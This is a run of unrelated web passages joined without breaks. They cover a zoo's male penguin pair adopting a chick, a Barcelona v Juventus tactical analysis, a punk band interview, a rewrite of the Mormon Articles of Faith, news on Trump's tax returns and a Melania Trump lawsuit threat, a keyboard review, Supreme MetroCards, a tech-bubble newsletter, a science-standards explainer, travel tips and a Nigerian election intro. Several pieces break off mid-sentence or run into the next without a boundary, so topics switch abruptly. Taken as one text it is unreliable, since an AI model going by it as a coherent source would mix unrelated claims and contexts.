The chick hatched about a month ago and the new little family remains separated from the colony while they bond but will soon rejoin them. Penguins recognize their offspring by their distinctive cries, indistinguishable to humans, and this trio are no different, Christensen said. The behaviour could be common in nature, she said. Male and female king penguins look identical and they share incubation, so it’s tough to tell what’s going on inside a large colony. In fact, the zoo won’t know the gender of this little one until it gets its adult feathers at about eight months. In captivity, however, the Odense pair are a first King penguins as gay adoptive dads, she said. Not the first gay penguin parents, though. The story of a pair of male Chinstrap penguins at Central Park Zoo in New York City who adopted and reared an egg was told in the book “And Tango Makes Three.” A German zoo helped two gay Humbolt penguins hatch and nurture an egg. The Danish penguins don’t have names, unlike Toronto’s same-sex pair, African penguins Buddy and Pedro, who became international celebrities last year with their bromance. Buddy and Pedro were paired with females this time last year to mate but the zoo has been coy about their success.Barcelona hosted Juventus on the first day of the group stages, which was a repeat fixture of last year’s quarter final which saw Juventus progress. Both teams have lost important players this year but will still fancy their chances at lifting the trophy in May. Juventus and Barcelona organized their offensive players in a similar fashion. However, the game was changed by the experience and technical quality of Andres Iniesta and Leo Messi. Juventus were missing a lot of key players and their lack of attacking fluency hurt them throughout this game.
The copycat way to play
Barcelona and Juventus shaped up in almost a mirror image of each other. Both teams played a type of 4-3-3 with the ball and a 4-4-2 without. Messi and Dybala played in identical roles as the number 10 behind Higuaín and Suarez respectively.
Barcelona played the traditional Barcelona way, by looking to create short sharp passes in between the lines, whilst using Dembele as their runner in behind the defense. They set up with a familiar midfield three of Iniesta, Rakitic and Busquets. Valverde started with the front three for Barcelona of Dembele, Messi and Suarez. Messi played very narrow with and without the ball, whilst Dembele played as a more traditional wing forward in a front three.
Juventus set up as an almost mirror image of Barcelona. Dybala played narrow and close to Higuaín, whilst Douglas Costa played on the left as a traditional wing forward. The wide players relied on Alex Sandro and Nelson Semedo to assist with both defensive and offensive duties. Juventus defended in between the lines very well and were very compact for most of the game. They were most dangerous on the counter. However, as the game wore on their front players were less and less effective. The similarities of both teams attacking three can be seen below. On the left is Barcelona and the right is Juventus.
Iniesta’s adaptation and experience
Juventus pressed with a lot of energy high up the field in the first half. They pressed aggressively and looked to cut off the passing lanes to Messi and Suarez’s feet. This was particularly apparent on Barcelona’s left hand side. Bentancur was defending as the widest player in a midfield four. He consistently looked to force Barcelona to pass to an isolated Jordi Alba. Iniesta identified very early in the game that Juventus were intent on cutting the supply to Messi and Suarez. As a result, Iniesta started to drift into positions behind Bentancur to force Juventus’ midfield four to stretch.
Iniesta’s (8) positioning close to Alba can be seen in the image above and is in contrast to Bentancur’s (30) more narrow positioning. This was most obvious when Iniesta dribbled infield from the left behind Bentancur, and forced a foul from Matuidi. This ploy from Juventus definitely had merit but unfortunately came undone. As you can see below from the image provided by Whoscored.com all of Barcelona’s chances came from the centre of the pitch. Therefore cutting off the supply lines through the middle is a reasonable ploy.
Dembele looks like a very promising player, but he is not on the same level as Neymar yet. Additionally, his understanding and link play with Suarez and Messi will still need time. However, his role in Messi’s first goal was very impressive. For the first time, Barcelona were able to get the ball in behind Juventus’ midfield four. Dembele controlled Pique’s long ball and turned infield expertly to feed Messi. Messi then linked with Suarez to score a very class goal. This was one of the first times in the game Barcelona got behind Juventus’ midfield.
Leo Messi
The two goals in the second half highlighted two key themes of the game.
The second half was a lot different to the first. Juventus started the game at a much higher tempo than the hosts in the first half; however, it was Barcelona who set the pace in the second. Messi began to drop deeper in midfield to get greater control of the game. Barcelona also employed a greater intensity to their Gegen press which was evident for Rakitic’s goal.
As Messi began to drop deeper, Barcelona |
. I must not know how to write songs.” That kind of shit got into my head. I’m not the most mentally stable person in the world, Dan.
What took so long to talk The Ergs! into a reunion?
We just didn’t feel the need to do it. We were never all on the same page about it. I was like, “I’ll do it, that’d be cool,” but there were a few years where Joe flat-out refused to do it. Then there was a point where Jeff was like, “Yeah, I’ll do it,” which was something I never thought would happen. And then two years ago, at Fest, I was hanging out with Joe wherever the Night Birds were playing, and [Fest organizer] Tony [Weinbender] just happened to be there, and we were talking about how the next year was my tenth Fest, and I kinda wanted to do something really cool for that, and that it’d be cool if The Ergs! could do something. Joe was open to it. He didn’t say no, which was a good sign. And then Jeff was down to do it. And Tony was like, “Of course, we’d love to have you.” So it was set. It was all ready to go for last year, and then Jeff called me, and he was like, “Listen, my wife just got her due date, and it’s the day we’re playing Fest, so we could not cancel, but if it happens, I’m right back on a plane home.” So rather than cancel after the announcement, we canceled before, so that it wasn’t a big deal. And Tony offered us the slot for next year. I get a lot of people at the solo shows saying that they weren’t old enough to go to shows when we stopped playing. There’s a lot of kids that never got to see us.
But do you owe people that, just because you’re all alive and able?
I don’t think we owe people that, but as someone who has gotten to see a lot of reunion shows of older bands that broke up before I got into them, it’s so rad to go and sing along to these songs that you love. As a fan, if I can do that for people with my stupid band, there’s a part of me that says, “Let’s do this now while we’re young enough to play the songs like they were back then.” We don’t have to slow them down and change the keys of them. [Laughs] You never know when people are not gonna wanna see it. It all just fell into place. And that’s what needed to happen.
You have such a huge catalog. How do you determine the set?
We haven’t really talked about it yet. When we did the reunion in 2010, we were like, “Cool, let’s play a 55-song set.” And we played for, I think, two and a half hours. We obviously can’t do that at Fest, so we have to figure it out. You kind of know what the crowd favorites are, and we’ll go from there.
The Ergs! at Fest V.
Can we talk about pop punk for a minute?
We can, if we must.
I don’t know if you saw, but yesterday…
I did saw.
Right, there was a big story with that Story So Far crap, where the singer dropkicked a woman off stage. And everyone blamed it on shitty pop punk dudes. But to me, pop punk was always definitively The Ergs!, which was just galaxies away from that Story so Far pop punk world. Sort of a broad question, but what is pop punk to you?
When I started getting into it, it was Green Day and MTX and all that Lookout! axis of bands and Mutant Pop stuff. To me, it was just like, the Beatles mixed with a little more distortion and energy. It took Nirvana and the more harder-edged stuff I loved and mixed it with the old 50s and 60s pop and put them together, and I thought that was refreshing and great.
Was that what was influencing you when writing Ergs! songs, the Beatles?
Definitely. I grew up on 50s and 60s doo-wop and love songs and shit like that. Soul love songs, and Motown. That definitely informed my songwriting. And Pinkerton, I always cite as the record that made me say, “Wow, I didn’t know you could actually pour your heart and soul out like that.”
You’ve always demonstrated that it doesn’t have to be the most extravagantly written song, as long as you can rhyme it and it’s sincere.
Yeah, as long as there’s feeling there. It’s hard for me to even sing songs that I’m not feeling.
The knock on you is that you play in a near-endless list of bands. If given the chance of playing with any band in history, who would you want to play with?
No doubt—XTC. They’re my favorite band. The drummer for the first few records, Terry Chambers—the shit he came up with, I don’t have the ability to do any of it, but it seems like if I could, it would be very fun to play that stuff. Just backing up Andy Partridge in some capacity would be an absolute dream gig of mine.
Dan Ozzi just called a girl that he goes out with long distance. Hang up on him on Twitter - @danozziIn 1842 Joseph Smith wrote a letter to John Wentworth who was the editor of the “Chicago Democrat”, the first newspaper in Chicago. In addition to a condensed history of the Church, Joseph answers Mr. Wentworth’s Question about the beliefs of the Mormons. His answer has come to be known as “The Articles of Faith.” They are fairly concise as a fundamental belief structure but just as any generally stated principles, they are subject to the interpretation of the individuals that comprise the organization. Most Mormons just accept them as written which is well and good, but perhaps they are missing an opportunity to understand themselves and their relationship to the Church. I like their foundational simplicity but I’ve revised them according to my experience in the Church and my evolving beliefs. I don’t intend this list to apply universally to every reader but I hope they will resonate with some, as well as providing a prompt for you to examine your own beliefs and how you fit within the organization.
“…for I did liken all scriptures unto us, that it might be for our profit and learning…” 1 Nephi 19: 23
The list in Joseph’s letter is preceded by this clause, which has come to be known as the “Standard of Truth” and think it’s appropriate to include it here:
“…the standard of truth has been erected: no unhallowed hand can stop the work from progressing, persecutions may rage, mobs may combine, armies may assemble, calumny may defame, but the truth of God will go forth boldly, nobly, and independent till it has penetrated every continent, visited every clime, swept every country, and sounded in every ear, till the purposes of God shall be accomplished and the Great Jehovah shall say the work is done.”
I like the picture this paints of truth, though not necessarily the idea that God’s intent is to make a thing in the world rather than providing opportunities for his children to progress. Here’s my list.
1- I believe in Gods, including a divine director and all who have evolved to that station. I believe in Jesus Christ who achieved Godhood before entering mortality. I believe in the Holy Ghost, The spirit of truth that resonates with us as we choose thoughts and actions, which advance us towards Godhood.
2- I believe that we will experience the consequences of our thoughts and actions, good and bad and that overcoming bad teaches us to think in unity with God.
3- I believe that the atonement of Christ empowered him to succor and support us spiritually and emotionally as we either enjoy or overcome the consequences of our decisions.
4- I believe that the first principles and ordinances of eternal progress are: Faith; an intelligent force, Repentance; change to improve, Baptism; a commitment to follow Christ, solemnized with a covenant, and the companionship of the Holy Ghost who responds every time we seek him.
5- I believe that the Priesthood is an organization designed to regulate the uniform dispensation of information and as such, it needs to be conferred by revelation and authority.
6- I believe that Christ established an organization to support us in our quest to become like God and that he allows us to adapt and administer it as we see fit, under inspiration.
7- I believe that God exerts his creative powers in our behalf in order to assist us in our personal spiritual journeys and that we may participate in this influence to the extent that we have developed Godly abilities.
8- I believe that the Book of Mormon will teach us essential eternal principles in companionship with the Bible and many other holy books.
9- I believe that we are responsible to receive our own revelation as we consider information presented to us by Church leaders and other sources. I also believe that God reveals his will for the Church to The President of the Church, for Stakes to Stake Presidents, for Primaries to Primary Presidents and so forth.
10- I believe that God blesses those who seek him anywhere on Earth.
11- I claim the privilege of seeking truth and spiritual progress according to my own conscience and allow all others the same.
12- I believe in supporting governments and public policy insofar as they are beneficial to humanity. I also believe in civil public discourse, respect for public servants and change through reasonable channels.
13- I believe in being honest, true, chaste, benevolent, virtuous and in doing good to everyone. If there is anything virtuous, lovely or of good report or praiseworthy, I seek after these things.
Now go write your own.President Donald Trump, who has all but ruled out disclosing his tax information, claimed on Sunday that he could release his tax returns “soon,” following the completion of a routine IRS audit.
“It could happen soon. I don’t know,” he said in an interview on CBS’ “Face the Nation.” “I think it’s pretty routine, to be honest with you. But then I’ll make a decision.”
.@POTUS says he’ll make a decision on releasing his tax returns after he’s no longer under audit. pic.twitter.com/EhS4Zoujat — Face The Nation (@FaceTheNation) April 30, 2017
Last week, Treasury Secretary Steve Mnuchin declared that Trump “has no intention” of releasing his tax returns, which he repeatedly promised to do while running for president but falsely claimed that he couldn’t because he’s being audited.
The IRS has said that “nothing prevents individuals from sharing their own tax information,” including being audited.
In avoiding a basic practice of transparency for elected officials, Trump became the first president in four decades to not disclose his tax filings, leaving many unanswered questions about his finances and business practices.
When Mnuchin last week unveiled the Trump administration’s tax plan, which would benefit wealthy people like Trump, it renewed calls for the president to unveil his tax information.
On Sunday, Trump refuted his treasury secretary, claiming that he might release his tax returns — and bragged about the supposed size of them.
“Well, I never spoke to him about it. Honestly, he’s never asked me about it,” Trump said of Mnuchin. “I said, number one, I’m under audit. Right now, I’m under audit. After the audit is complete. It’s a routine audit, but I have a very big tax return. You’ve seen the pictures. My tax return is probably higher than that from the floor. When you look at other people’s tax return, even other wealthy people, their tax return is this big. My tax return is this high.”
Trump said that “it’s very unfair” that he was being audited.
“I have been under audit almost, like, since I became famous, OK?” he said.
In defending his decision to not release his taxes, Trump and his administration have repeatedly argued that the matter is settled because he won the election without having released them.
I did what was an almost an impossible thing to do for a Republican-easily won the Electoral College! Now Tax Returns are brought up again? — Donald J. Trump (@realDonaldTrump) April 16, 2017
Earlier this month, press secretary Sean Spicer also brought out the audit excuse in declaring that Trump would not release his taxes this year. But like Trump, he did not rule it out completely, when asked if it was safe to say that the president will not release his tax returns at all.Amazing keyboard
I got this keyboard for Christmas and wanted wait a few months before I left a review. I use this keyboard primarily for gaming on my desktop Windows machine and it works very well. The typing feels flawless as my fingers slide across keys. The colour themes give the keyboard and nice touch by having different colour changing patterns. Currently I have the newly updated one where the keyboard is not lit but as soon as you press a key a ripple effect spreads through the keyboard. While gaming the keyboard almost doesn't stop flashing lights and I don't find that to be distracting. Throughout the day I work on a Mac and often times would use my home setup to connect my external keyboard, screen and mouse to the macbook pro. I used BetterTouch Tools app to swap the mapping of CTRL to be CMD button. The app effortlessly remembers these settings when I unplug the keyboard. 1 CON: Corsair still hasn't developed an OS X supported lighting software so if you're hooked up to OS X device you'll still be able to use the keyboard but it will be lit cherry red at all times. Not a deal breaker for me as I enjoy typing on it. All mac keyboards are now too stiff for casual typing. Definitely get it if it's on sale.Melania Trump is threatening a lawsuit over a YouTube video that speculates her son Barron has autism, The Hollywood Reporter has confirmed.
"This law firm represents first lady-elect Melania Trump and her 10-year-old son, Barron Trump," attorney Charles Harder tells THR. "A video was posted at YouTube recently speculating that Barron might be autistic. He is not. The video includes the hashtag 'StopTheBullying' but yet the video itself is bullying by making false statements and speculation about a 10-year-old boy for the purpose of harassing him and his parents. The online bullying of children, including Barron Trump, should end now."
TMZ first reported the news Monday afternoon, claiming it obtained a copy of a letter written by Harder. According to the site, the letter says, "The video did instigate further bullying by Rosie O'Donnell and others."
O'Donnell shared the video on her Twitter feed last week. "Barron Trump Autistic? if so - what an amazing opportunity to bring attention to the AUTISM epidemic," she wrote in a since-deleted tweet with a link to the video.
The YouTube video had more than 3.2 million views Monday when news of the potential suit broke. The channel that hosts the seven-minute video contains only one other upload, a 16-second clip of Barron Trump "'clapping' erratically at the Republican National Convention."
Melania Trump isn't yet threatening to sue O'Donnell, but she wants the person who posted the video to remove it and apologize.
Harder also is representing Trump in her lawsuit against The Daily Mail over an Aug. 19 article that suggests she was an escort.
A rep for Trump did not immediately return a request for comment.
The YouTube user, James Hunter, posted that he was "in contact with Melania Trump's lawyer" and later removed the videos — replacing them with a new one that apologizes and retracts the statements made in the first.
"It was incredibly irresponsible of me to diagnose Barron Trump using a selection of misleading videos," says the apology. "I can understand if you might not want to accept my apology, but please know I didn't mean to hurt anyone with my video."
Earlier Monday, Hunter addressed TMZ's report in comments on the video, saying he was "absolutely terrified" and "never ever meant" the clip "as a bullying video."
"As someone who was diagnosed at age 5 and has gone through bullying myself, I would NEVER do something like that," he wrote. "I made this because I truly believed Barron was on the spectrum, and I wanted people to stop bullying him over his 'weird' behavior and explain to them that it might actually be due to a condition."
Nov. 29, 9:44 a.m. This story has been updated with comments from the YouTube user who uploaded the video.
Nov. 29, 12:59 p.m. Updated with Hunter's retraction and apology.Streetwear brand Supreme has bought ads on an undisclosed number of MetroCards, and because the company's products are coveted in large part for the Supreme logo and the hype stoked by scarcity, the cards themselves are causing a subway-station-clogging frenzy among collectors and resellers.
MTA: Ok, we need a suggestion from the crowd
Person: CLEANER STATIONS
Person 2: MORE AGENTS
MTA: ok I'm hearing hypebeast metrocards — nom (@nomchompsky) February 20, 2017
Released on Thursday at the company's SoHo store as part of its spring/summer line, the MetroCards initially sold for $5.50, with two fares on each.
The cards probably would not have drawn larger notice had the MTA not also made them available at select subway stations on Monday, word of which spread like wildfire among New York's hypebeasts and hypebeast enablers.
"I knew that the MetroCard was going to be a good item, but I didn’t expect it to be anywhere but the Supreme store," said Andre Arias, who has made a living reselling clothes as Sole Street Sneaker Co, with a focus on Supreme, for the past 6 or 7 years. "It was sort of an after-thought with everything else that was dropping this season."
Yesterday, though, the MTA tweeted that the card would be available at certain then-undisclosed locations.
"It opened up a whole other world," Arias said, speaking as a reseller. "Suddenly you could get enough to make it worth your time, dollar and time spent-wise."
Now vending in select stations: Supreme branded MetroCards pic.twitter.com/ah2kmT0laA — NYCT Subway (@NYCTSubway) February 20, 2017
The 11:24 a.m. announcement sent Arias and his helpers scrambling to figure out which stations were carrying the cards. An hour and 20 minutes passed before the MTA listed them. Still, there were hurdles.
"Every station has six, seven vending machines. It was a whole process" of trying to figure out which contained the cards, Arias said.
Eventually, kindly MTA workers pointed the Supreme seekers to the specific machines that had been stocked with the cards, he said. But because the Supreme cards were loaded on top of boring regular MetroCards, devotees still had to wait for a glimpse of that sweet red box, or take their chances buying several cards in a row in hopes of tapping a vein.
Only Union Square has yielded fruit so far, Arias said. When word got out, the line got much longer.
cops boutta shut down the supreme metrocard lineup lmfaoooo
🎥:@offtheglas pic.twitter.com/SVEEpTkV9d — Where To Cop (@WhereToCop) February 21, 2017
"The crazy thing is, it wasn’t bad until the cops got there" at around 4 p.m., Arias said. "There was a crowd of people, yes, but there was no commotion, there was no fights, there was no screaming or arguing. Everybody was trying to keep as relatively calm as possible so we could try to keep getting as many cards out of the machine as possible."
broke af now but at least the gram is lit 😤💯 pic.twitter.com/0UYd5S0Ezq — Where To Cop (@WhereToCop) February 21, 2017
He continued, "I don't think the cops even understood what was going on. We tried to explain to them, 'No, this is the machine that we need, because this is where it's at.' One of the cops even offered, 'Yo, listen, I'll open the gate and you can all go through. I don't care, I just need you outta here.' We're trying to explain to the cop, 'We don't want to get on the train. We just want MetroCards.' There was some frustration on the cops' part."
That's when the barricades came out, and officers began pushing people with them, Arias said.
"I hate that the video makes it look like we were all out there being savages, fighting each other for MetroCards," he said. "We were all pretty calm that the machine had at least 100 MetroCards and we'd all be fine."
No arrests were made, according to the NYPD press office.
We've had a run on machines today and may be sold out of Supreme Metrocards until we can replenish. Check back in a day or so. — NYCT Subway (@NYCTSubway) February 21, 2017
The Supreme machine in Union Square was a credit card-only machine, and limited people to 10 transactions per card. Fortunately, Arias had five credit cards on him, so he was able to purchase 50 MetroCards, each with the $5.50 minimum on them.
Arias said the Union Square machine ran out of the Supreme cards at 6:30 this morning. It's unclear if it'll be restocked, and an MTA tweet last night said the agency "may be sold out of Supreme Metrocards until we can replenish. Check back in a day or so." The cards were/are supposed to be available, while supplies last, at the following stations:
Broadway-Lafayette
125th Street
Queensboro Plaza
Marcy Avenue
Atlantic Avenue
Prince Street
Spring Street
Union Square
😂😂😂 A post shared by Sole Street (@solestreetsneakerco) on Feb 20, 2017 at 3:43pm PST
The shelf life for Supreme resale is short, because as the release date grows more distant and the amount of physical items in the world increases, demand diminishes. Still, some resellers are seeking upwards of $100 on Ebay, and Arias is currently getting around $50 a card. Commenters on resale accounts are expressing interest from places as far-flung as Indonesia and Mexico.
The MTA won't disclose how many Supreme cards it's making, and the company didn't respond to an email seeking comment. One-sided MetroCard advertising runs of 50,000-124,999 cards cost the advertiser 51 cents a card, according to the MTA's rate sheet.
Supreme maintains its luster in large part by limiting its clothing releases to blink-and-you'll-miss-it online sales and just 10 brick-and-mortar stores worldwide. Arias said he doesn't expect the MetroCard to make it online or to the other stores.
Founded in 1994, Supreme jacked the aesthetic of artist Barbara Kruger, known for her collages featuring white-on-red messages in Futura font criticizing capitalist monoculture, laid over stark black-and-white images. You may also recognize the look from the anti-capitalist sci-fi movie They Live and the anti-capitalist street art-moniker-turned-clothing-brand Obey, created by Shepard Fairey. In 2013, Kruger responded to news of Supreme suing an artist for copyright infringement by calling the company "a ridiculous clusterfuck of totally uncool jokers."
In recent years, Supreme has made headlines for, among other things, releasing a branded brick, bolt cutters, and crowbar, now reselling for $90, $100, and $150 respectively.
Arias said that Supreme fans get a bad rap in the media:
It’s just cool shit at the end of the day. It’s cool to have. it’s cool to collect. It's just like, "Yeah, I got that item that's super hard to get." People collect Yu-Gi-Oh! trading cards, and pay absurd amounts of money for it—comic books, all that mess. It’s the same thing. It's an item for a collector to have. It's something that someone needs in their collection. If a guy collects Supreme in Canada or Japan, it doesn’t matter that he can't use that MetroCard, it doesn't matter that that won't get him on a train or bus in that location. It's just to have it. If anything, that makes it cooler to have because it’s not something that's for that area.QE has created too much money chasing too few good investment ideas, which quickly becomes a crowded trade, and therefore dangerous, and subject to a violent reversal. With the demise of traditional media and the rise of fake news, it is harder than before to measure extremes in media sentiment. Nevertheless, magazine covers are a measure of peak interest, which is a barometer of extremes. The Economist is still very widely read and its covers have been excellent contrary indicators over the years. As we have written for decades, everyone pays lip service to contrary thinking, but few can execute it because being a contrarian requires an extreme form of independent thinking. The crowd feels comfortable and safe with company.We don’t.
Let’s begin with the classic The Economist cover story from December 3, 2016 entitled “The mighty dollar.”
We have warned about capital concentration in the U.S. since early last year, but The Economist cover from December 3, 2016 nailed the top almost perfectly. With the euro having rallied from 1.0388 on December 20, 2016 to a high of 1.1631 on July 20, 2017, this cover is a perfect example of peak interest and the power of contrary thinking.
Now, how should we interpret the March 25, 2017 The Economist cover story on “Amazon’s empire”?
When added to The Economist cover of May 6, 2017 on “The world’s most valuable resource: Data and the new rules of competition”?
And included with, this photo of Jeff Bezos from the July 2017 Allen Conference in Sun Valley juxtaposed on a 1998 picture. From bookseller to the Terminator.
A new study by Ball State University’s Center for Business and Economic Research found that, in coming years, about half of American jobs are at risk of being replaced by automation. This is an old topic for our publication as we have warned about this for over seven years. At some point, the political pressure caused by job loss and loss of tax revenues by state and local governments (see section 4) will reach such an extreme that a reversal will happen.
When the tech “bubble” bursts, it will have immense consequences. First, another pillar of support for the U.S. dollar and investing in the U.S. will crumble. That means more capital will be withdrawn from the U.S., bringing further weakness in the U.S. dollar — all of which will feed on itself. Second, the bursting of the tech and dollar bubbles will weaken the case for passive investing and bring back to life active money management. As performance shifts from the S&P 500 and its heavy weighting in tech stocks to other parts of the world, capital will go as it always does to where it is treated best. Third, capital may be harder to come by for technology investments, especially as the reign of “free money from the Fed” comes to a close. Fourth, the tech onslaught, which has brought terror to every industry, could be slowed.
The real problem with tech is Silicon Valley’s cognitive bubble. For a number of years, we have warned about the disconnect between the tech innovators and the real world. In early 2014, we shared a telling anecdote from a West coast acquaintance. “He just moved into an ultra-sleek new building in an up-and- coming neighborhood in San Francisco. On his way out to dinner (booked, of course, via an app on his iPhone), he was unable to open the building’s door to get to his waiting Lyft car because of several homeless people sleeping in front of the building.”
Silicon Valley is primarily focused on tackling the challenges of an affluent, tech- savvy class of consumers. But, what about the problems that actually need solving?
As The Financial Times’ Rana Foroohar recently argued, Big Tech has become the new Wall Street — out of touch, disconnected and insensitive to the needs and concerns of the common man. While recent complaints from numerous women about sexual harassment have forced the Valley to take a closer look at its own inner social failings, it has yet to engage in growing public concerns about tech-related job destruction, monopolies and privacy.
As Foroohar writes:
“When I ask most techies about these concerns, reactions tend to range from defensive to naive to clueless: ‘Politicians don’t understand the Valley’, or ‘Universal basic income will make work irrelevant’ [the modern equivalent of Marie-Antoinette’s classic ‘let them eat cake’] or, worst of all, the patronising smile or exasperated look that says: ‘You’re not a tech insider, and thus you just don’t get it.’
Frank Pasquale, a University of Maryland law professor and noted Big Tech critic, cites a telling example of this attitude. ‘I once had a conversation with a Silicon Valley consultant about search neutrality [the idea that search engine titans should not be able to favour their own content]. And he said, ‘We can’t code for that.’ I said this was a legal matter, not a technical one. But he just repeated, with a touch of condescension: ‘Yes, but we can’t code for it, so it can’t be done.’ The debate would be held on the technologist’s terms, or not at all.’
All this reminds me of the cognitive bubble that financiers were in before (and in many cases after) 2008. Like the tech industry today, finance did a good job of using its money and political power to hold the debate over reform hostage to its own interests. Policy conversations were made as complicated as possible to keep ‘insiders’ in control, even though the simple questions — is the financial system helping the real economy and society or not? — were often the best and most important. Cognitive capture of decision makers was rife because financiers and regulators lived and worked in the same echo chamber. Many bankers I knew seemed befuddled about why people were so angry with them. No wonder — they had never met any ordinary people before.
All this is true when it comes to Big Tech today. ‘Silicon Valley talks mainly to itself,’ says Vivek Wadhwa, a software entrepreneur and fellow at Carnegie Mellon University.”
Reportedly, Google has already hired at least five top law firms to fight the $2.7 billion EU anti-trust ruling. While Big Tech’s arsenal is deep, a day of reckoning looks increasingly inevitable. The Valley’s bubble looks to be increasingly vulnerable from multiple fronts. A Credit Suisse report released last week points out, that relative to the broader market, the performance of FAANG stocks (Facebook, Apple, Amazon, Netflix and Google’s parent Alphabet) have moved inversely with interest-rate direction since 2003. The inverse relationship implies “a move higher in interest rates in 2H17 could be a challenge for the group,” the note said.
This article was originally published in “What I Learned This Week” on July 20, 2017. To subscribe to our weekly newsletter, visit 13D.com or find us on Twitter @WhatILearnedTW.symbv
Offline
Joined: Sep 2012
Posts: 10122 OfflineJoined: Sep 2012Posts: 10122
Source: It was reported that veteran voice actor Kenji Utsumi passed away at 15:01 today (June 13th) due to cancerous peritonitis, age 75. He debuted as a voice actor in 1963 and has appeared in many roles, the most famous being Senbei Norimaki in "Dr. Slump", Raoh in "Hokuto no Ken", and more recently Alex Louis Armstrong in "Fullmetal Alchemist" and Genji Kamogawa in "Hajime no Ippo". He also served as a voice actor in dubbing of foreign movies and as narrator in TV programs. He is survived by his wife, Michiko Nomura, a voice actress.Source: Sponichi BBCode Modified by Naruleach, Jun 13, 2013 10:55 PM So MAL finally starts locking news threads that are only a few weeks old?
I wonder where was the announcement of this change? Or we are seeing yet another case of changes made that impacted users but not communicated to them?
I wonder how long people would put up with this.
As much as I have a bunch of information to share about anime announced recently I cannot share it in news board, and the anime series is too disorganized and chaotic to share information except with people already interested in the particular series.The what, the how, and the why of the Next Generation Science Standards.
There is a growing sense of anxiety among educators that learners are too willing to embrace the perks of modern living while failing to understand the science and engineering responsible for them.
Aiming to tackle this imbalance are the Next Generation Science Standards (NGSS), which represents the first major set of recommendations for science instruction since 1996. Given the fast-moving nature of technological and scientific advances, the standards have set lofty educational goals and raised more than a few questions in the process. Here, we take a look and try to provide some answers.
What are the Next Generation Science Standards (NGSS)?
The Next Generation Science Standards are a series of goals and best practices for raising the standard of high school science education. They mark part of an effort to demystify the sciences for learners, to standardize science teaching, and to increase college enrollments in scientific and technical subject areas.
However, the Next Generation Science Standards are not a curriculum. There is no official lesson plan or textbooks. Instead, the standards are intended to serve as more of an outline that accommodates flexibility in terms of instruction.
When did the NGSS start?
The NGSS are relatively new – they were originally announced in April 2013 with the support of the National Science Teachers Association, the American Association of Science, the National Research Council, and the non-profit Achieve.
Which states have adopted the NGSS so far?
Twenty-six states were involved in the development of the NGSS. These are known as the Lead State Partners, and they include:
Arizona, Arkansas, California, Delaware, Georgia, Illinois, Iowa, Kansas, Kentucky, Maine, Maryland, Massachusetts, Michigan, Minnesota, Montana, New Jersey, New York, North Carolina, Ohio, Oregon, Rhode Island, South Dakota, Tennessee, Vermont, Washington, and West Virginia
Though some 40 states have shown interest in adopting the Next Generation Science Standards, only 19 have to date, with New Mexico recently joining Arkansas, California, Connecticut, Delaware, Hawaii, Illinois, Iowa, Kansas, Kentucky, Maryland, Michigan, Nevada, New Hampshire, New Jersey, Oregon, Rhode Island, Vermont, and Washington, as well as the District of Columbia.
Collectively, the adopting states are estimated to account for roughly 35 per cent of the K12 student population in the US.
Why are the Next Generation Science Standards important?
The purpose of the Next Generation Science Standards is to make scientific knowledge more available, relatable, and understandable to a greater number of learners. This is largely driven by the fact that science plays so central a role in modern life. As the NGSS website puts it:
“Never before has our world been so complex and scientific literacy is critical to making sense of it all. Science is also at the heart of America’s ability to continue innovating, leading, and creating jobs for the future. That why all students … should have access to a high-quality science education.”
What are the benefits?
The benefits – or at least the intended benefits – for students are considerable. Rather than just focusing on the importance of committing basic facts to memory, the NGSS aim to nurture a more holistic understanding in students of the subject matter at hand.
The standards encourage a high-level of student participation and call for educators to help build a strong base of scientific knowledge in learners through crosscutting material rather than keeping it siloed.
Establishing such a base of knowledge could have applications far beyond the remit of STEM (science, technology, engineering, and math) subject areas. If students develop the facility to connect ideas and concepts in lessons, then the knock-on effects could have a deeply positive effect on their lives – something Time has previously noted:
“Even students who choose not to continue their education on a STEM field will be able to apply STEM principles in their lives, perhaps by evaluating claims made in advertising, or by observing patterns of occurrences in their day-to-day existences.”
What does “crosscutting” mean?
Crosscutting essentially refers to the connections that link the various scientific disciplines. The NGSS employs crosscutting to allow learners to form a more holistic picture of the world by gathering insights from branches of science and using their own critical thinking skills to examine how they are related.
The aim is to help students establish a solid contextual framework for understanding new information from disciplines that were previously siloed off from one another. One example of this in action might be recognizing possible connections between the spread of disease and global warming.
So, despite the apparent differences between scientific disciplines, crosscutting aims to teach students to spot things like patterns, similarities; causes and effects; systems and system models; structures and functions; and changes and stability.
What are the criticisms of the NGSS?
The criticisms of the NGSS are almost as considerable as their stated virtues, with some commentators suggesting that they reduce teachers from an active role to a passive one.
While the relative newness of the standards makes such criticisms difficult to qualify, they do raise an important concern about the time and resources it would take to develop a curricula that is compliant with the standards and the teacher training required to properly implement this curricula. This might be particularly problematic for schools that are less well-resourced and may consequently struggle to keep up.
Another criticism of the standards is their lack of math content – a conspicuous absence given the integral part of math in the sciences students are being asked to understand.
The standards have also been met with stern resistance from religious conservatives who baulk at the NGSS’s insistence that students must learn about both climate change and evolution.
How are the Next Generation Science Standards different to the Common Core State Standards?
In many ways the ambitions of the two are the same, but in different subject areas. The NGSS are aligned with the Common Core State Standards by grade and difficulty level (though there is debate concerning math standards – see link in |
have long been defeated, you can still follow in Mulan's footsteps with your own epic adventure in China. Instead of fighting the crowds at the most popular section of the wall, why not try hiking it? With tours like this one from G Adventures, you can spend six days trekking along the ancient structure and imagining what it would be like to be looking out on watch for an approaching Mongolian horde. This particular itinerary also includes a tour through Beijing's Forbidden City and daily Tai Chi lessons to prep your legs for the hike.
'The Emperor's New Groove': Hike the Inca Trail to Machu Picchu
This movie isn't always historically accurate, which lends itself to the movie's hilarious anachronisms, but the setting is actually based on the Incan Empire. As we follow the narcissist Emperor Kuzko on his quest to be transformed back into a human after being turned into a llama, the inspiration of the ancient Inca culture is apparent from the landscape to the architecture. Though the Inca are long gone, you can still visit the ruins of Machu Picchu in Peru, which many historians believe was once an estate or citadel built for an ancient emperor. You can take a train there from the capital city of Cusco, or you can hike the Inca Trail if you're up for a bigger adventure.
READ THE ORIGINAL ARTICLE: 10 Disney-inspired dream trips
Read or Share this story: http://usat.ly/1tcBGh6A presidential election was held in Nigeria on April 16, 2011. These followed legislative elections earlier this month on April 9 and precedes gubernatorial elections on April 26. I unfortunately don’t know enough about Nigerian politics to offer a thorough overview, but I’ve picked up enough to throw together something which makes sense.
